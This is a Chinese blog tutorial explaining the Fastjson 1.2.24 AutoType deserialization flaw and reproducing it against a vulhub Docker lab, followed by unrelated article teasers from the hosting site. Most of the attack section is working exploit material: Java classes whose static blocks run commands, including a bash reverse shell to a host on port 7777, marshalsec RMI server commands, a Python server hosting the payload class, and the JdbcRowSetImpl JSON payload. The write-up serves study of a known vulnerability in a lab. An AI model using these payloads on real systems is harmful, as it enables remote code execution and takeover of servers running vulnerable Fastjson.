Fastjson反序列化漏洞原理与漏洞复现

news/2025/2/13 21:08:56/文章来源:https://www.cnblogs.com/jiayage/p/18239611

根据这位大佬文章学习

https://blog.csdn.net/Bossfrank/article/details/130100893

Fastjson反序列化

一:json是啥

json是一种格式json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。

点击查看代码
{"name":"BossFrank","age":23,"media":["CSDN","bilibili","Github"]}

本质是一串字符串,用于传输和存储,了解过序列化和反序列化的会知道,这跟序列化的原理类似

二:啥是fastjson?

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

三:fastjson序列化/反序列化原理

3.1:fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

3.2:那么为啥要引进Auto Type功能呢?

3.3:fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

点击查看代码
class Apple implements Fruit {private Big_Decimal price;//省略 setter/getter、toString等
}class iphone implements Fruit {private Big_Decimal price;//省略 setter/getter、toString等
}
实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

四:fastjson反序列化漏洞原理

使用AutoType功能进行序列化的时候,JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。


  1. 攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
  2. 存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)
  3. rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
  4. rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
  5. 靶机服务器执行了恶意代码,被攻击者成功利用。

借用大佬的图片进行理解

image


五:启动靶机

cd fastjson/1.2.24-rce/,docker-compose up –d
image

启动后查看开放端口。发现为8090.
image


六:漏洞复现(基于vulhub)

1、远程创建文件并编译

在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件

点击查看代码
// javac TouchFile.java 编译为class文件
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/successFrank"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

放到文件夹下
image
然后在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:
python -m http.server 4444

2、监听端口,加载远程类

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class

3、开启RMI服务,(我们是根据RMI进行复现的)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "靶机ip/#TouchFile" 9999

4、编写pyload

刷新靶场(http://172.18.9.167:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中输入以下payload:

点击查看代码
Content-Type: application/json
Content-Length: 170{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.200.131:9999/TouchFile","autoCommit":true}}

image
此时RMI监听效果
image
http服务日志
image
此时应该已经完成了漏洞复现,我们检测一下是否在tmp目录touch创建了文件successFrank即可。
运行docker ps查看容器id,我这里为95056e5b0e26
image
进入容器命令
docker exec –it 你的CONTAINER_ID bash
image
然后cd tmp,ls查看目录下文件,发现成功创建了successFrank,漏洞复现成功!
image

2:反弹shell的获取

基本思路和前面是一模一样的,改一下恶意站点的java代码就行了。在vulhub下的fastjson 1.2.24文件夹下保存以下代码为GetShell.java文件:

点击查看代码
// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;public class GetShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.36.161/7777 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
注意别忘了将String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 };这句的url改为反弹shell的目标机ip和端口,此处依然是kali虚拟机的ip。

然后编译一下,产生GetShell.class。把GetShell.class放在1.2.24-rce目录下:
image
Python起一个http服务
python3 -m http.server 4444
浏览器访问恶意站点:4444,应该有如下的目录
image
开启RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.131:4444/#GetShell" 9999
另起一个终端,开启之前恶意java代码中写的的7777端口,进行监听:
image
刷新靶场(http://192.168.36.130:8090)的链接,抓包后改GET包为POST包,然后在发送的请求数据包中输入以下payload:
`Content-Type: application/json
Content-Length: 168

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.36.161:9999/GetShell",
"autoCommit":true
}

}`
点击发送go,即可完成反弹shell
image

image
如下图,正在监听7777端口的终端,反弹shell获取成功,已经可以执行任何命令了
image
漏洞复现成功!

复现过程遇到很多问题,最后还是解决了,给些参考链接

https://www.cnblogs.com/cute-puli/p/14373826.html
https://blog.csdn.net/qq_40640917/article/details/128615838
https://blog.csdn.net/weixin_44862511/article/details/132415494

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/883397.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

串串全家桶

目前有:马拉车Manacher 用途: 该算法可在 \(O(n)\) 的时间复杂度下求出以每一个点(和缝,即回文串长为偶数的情况)为中心的最长回文串长度。 做法: 前置:定义朴素算法为,对于每一个点为中心的情况,暴力枚举是否可以扩展两边,直到不能扩展,此时得到结果。 代码如下,其…

C#字符串拼接的6种方式及其性能分析对比

前言 在C#编程中字符串拼接是一种常见且基础的操作,广泛应用于各种场景,如动态生成SQL查询、构建日志信息、格式化用户显示内容等。然而,不同的字符串拼接方式在性能和内存使用上可能存在显著差异。今天咱们一起来看看在C#中字符串拼接的常见6种方式及其使用BenchmarkDotNet…

寒假集训专题五:搜索

ESAY1:自然数的拆分 P2404 自然数的拆分问题 题目描述 任何一个大于 \(1\) 的自然数 \(n\),总可以拆分成若干个小于 \(n\) 的自然数之和。现在给你一个自然数 \(n\),要求你求出 \(n\) 的拆分成一些数字的和。每个拆分后的序列中的数字从小到大排序。然后你需要输出这些序列,…

多模态 AI 怎么玩?这里有 18 个脑洞

在 RTE 开发者社区,我们会和大家一起探索全球最前沿的 Real-Time AI 技术,和最有想法的新兴场景。Google 近期举办了一场名为「MultiModal Hackathon」的限时编程活动,聚焦于 多模态与 Gemini 2.0 的最新能力。活动汇聚了 200 多位开发者,共同探索多模态 AI、实时 AI、生成…

Svelte 最新中文文档翻译(7)—— snippet 与 @render

前言 Svelte,一个非常“有趣”、用起来“很爽”的前端框架。从 Svelte 诞生之初,就备受开发者的喜爱,根据统计,从 2019 年到 2024 年,连续 6 年一直是开发者最感兴趣的前端框架 No.1:Svelte 以其独特的编译时优化机制著称,具有轻量级、高性能、易上手等特性,非常适合构…

基环树 DP:学习笔记

总述 定义 基环树,是一个 \(N\) 个点和 \(N\) 条边的连通图,特征是图中有且仅有一个环。特别的,如果不连通且每个连通块的点数和边数都相等,那么这就是一个基环树森林。 基环树 DP,顾名思义,就是在一个基环树上 DP,或是 DP 的结构类似基环树。相对于正常的树型 DP,一般…

数字孪生如何让GIS场景视效瞬间高大上?带你了解鲸孪生中的GIS系统

GIS与数字孪生的结合非常紧密,而山海鲸可视化作为一个数字孪生平台,也将GIS系统整合在了鲸孪生功能之中。 GIS中包含了大量的数据,例如遥感数据、地形数据、倾斜摄影数据等,能够为数字孪生系统提供非常好的补充。同时,传统的GIS系统整体视觉效果相对较差,与其他模型和数据…

2 分支 多个思路

利用分支,你就可以在同一个代码基础上同时处理多个完全没有关联、相互独立的工作。考虑以下场景。 假设你正在改一个 Bug-A,此时已经产生了大量的代码修改,并且离修复完成还有很长一段时间(起码得明天)。此时,有一个着急但简单的 Bug-B 需要你立即完成,并在一个小时内同…

记录一种DAG计数方法与一个配套技巧

记录一种DAG计数方法与一个配套技巧 定义 \(f_S\) 表示集合 \(S\) 中的点构成的合法 DAG 子图的方案数。假设找到 DAG 中一个入度为 \(0\) 的节点 \(x\),那么很明显 \(f_S=\sum_{x}f_{S\setminus \{x\}}\),这明显要算重因为 \(S\setminus \{x\}\) 中也有入度为 \(0\) 的点。 …

野鸡题手写题解整合

浴谷正在蒸蒸日上,专栏区怕是马上要倒闭了。 CF2026F 题 题。题外话:这场有点水平,E 题让我重拾了最大权闭合子图的记忆。 首先考虑没有这个可持久化(只有 \(2,3,4\) 操作)怎么做。\(0/1\) 背包问题,动态维护当前的 dp 数组 \(f_i\) 表示总体积 \(\sum p\) 不超过 \(i\) …

鸿蒙开发:了解@Builder装饰器

@Builder装饰是鸿蒙UI开发中,非常重要的一个装饰器,在实际的开发中,合理且正确的使用,能够让我们的代码更加的简洁前言本文代码案例基于Api13,温馨提示:内容相对来说比较简单,如果您已掌握,略过即可。如果说一个页面中组件有很多,我们都统一写到build函数中,显而易见…

P1020 [NOIP 1999 提高组] 导弹拦截(dilworth)

这道题真的做的我鬼火冒,尤其是这个第二问要用到dilworth但是我看讲解完全不知道他们在讲什么,我看了好久才理解,一个数组至少可以由几个不增子序列覆盖就等于严格单调递增的最长子序列的长度,如果是至少可以由几个严格递减子序列覆盖就等于最长单调不减子序列的长度,然后…